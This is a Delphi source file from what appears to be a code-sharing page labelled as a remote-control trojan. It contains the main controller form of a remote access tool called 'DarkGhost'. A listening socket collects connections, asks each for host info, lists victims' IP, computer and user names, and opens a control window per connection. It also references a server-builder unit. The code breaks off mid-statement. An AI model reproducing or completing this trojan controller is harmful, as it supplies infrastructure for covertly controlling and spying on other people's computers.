unitprincipal.pas

来自「远程控制辕马」· PAS 代码 · 共 109 行

PAS
109
字号
unit UnitPrincipal;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, XPMan, ComCtrls, Buttons, ImgList, UnitControl, Menus, Unitopciones, UnitEditorDelServer;

   const
   CM_RESTORE = WM_USER + $1000; ////Se usa para prevenir dos ejecuciones simultanias de la aplicacion

type
  TFormPrincipal = class(TForm)
    EstadoBar: TStatusBar;
    ListConexiones: TListView;
    XPManifest1: TXPManifest;
    Server: TServerSocket;
    BtnOpciones: TSpeedButton;
    ImagePincipal: TImageList;
    PopupConexiones: TPopupMenu;
    AbrirCentroControl1: TMenuItem;
    BtnEditServer: TSpeedButton;
  procedure Delay(msecs:integer);
    procedure BtnOpcionesClick(Sender: TObject);
    procedure ServerClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ListConexionesInsert(Sender: TObject; Item: TListItem);
    procedure ListConexionesDeletion(Sender: TObject; Item: TListItem);
    procedure ServerClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ListConexionesContextPopup(Sender: TObject; MousePos: TPoint;
      var Handled: Boolean);
    procedure AbrirCentroControl1Click(Sender: TObject);
    procedure ListConexionesEditing(Sender: TObject; Item: TListItem;
      var AllowEdit: Boolean);
    procedure BtnEditServerClick(Sender: TObject);
  private
    { Private declarations }
  public
 procedure CreateParams(var Params: TCreateParams); override;   ////Se usa para prevenir dos ejecuciones simultanias de la aplicacion
     Procedure RestoreRequest(var message: TMessage); message CM_RESTORE; ////Se usa para prevenir dos ejecuciones simultanias de la aplicacion
  end;

var
  FormPrincipal: TFormPrincipal;
  VentanaControl: TFormControl;
implementation


{$R *.dfm}

 procedure TFormPrincipal.CreateParams(var Params: TCreateParams);
 begin
   inherited CreateParams(Params);
   Params.WinClassName := '[0066]Este es el cliente del DarkGhost[0066]';
 end;

 procedure TFormPrincipal.RestoreRequest(var message: TMessage);
 begin
   if IsIconic(Application.Handle) = TRUE then
     Application.Restore
   else
     Application.BringToFront;
 end;

procedure TFormPrincipal.Delay(msecs:integer);
var
FirstTickCount:longint;  //Procedimiento usado  para mostrar
begin                    //mas tiempo la splash screen
FirstTickCount:=GetTickCount;
repeat
Application.ProcessMessages;
until ((GetTickCount-FirstTickCount) >= Longint(msecs));
end;

procedure TFormPrincipal.BtnOpcionesClick(Sender: TObject);
begin
FormOpciones.show;
end;

procedure TFormPrincipal.ServerClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Socket.SendText('info');
end;

procedure TFormPrincipal.ServerClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
  var
  date: string;
  newl: tlistitem;
  compname, username: string;
  a: integer;
begin
date := socket.ReceiveText;

if Copy(date, 1, 4) = 'info' then
begin
newl := ListConexiones.Items.Add;
VentanaControl := TFormControl.Create(self);
VentanaControl.Caption := VentanaControl.Caption+' ['+ socket.RemoteAddress +']';
VentanaControl.Server := Socket;
newl.Data := Socket;
Delete(date, 1, 4);
newl.Caption := inttostr(Socket.SocketHandle);
newl.SubItems.Add(socket.RemoteAddress+'/'+Copy(date, 1, Pos('

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?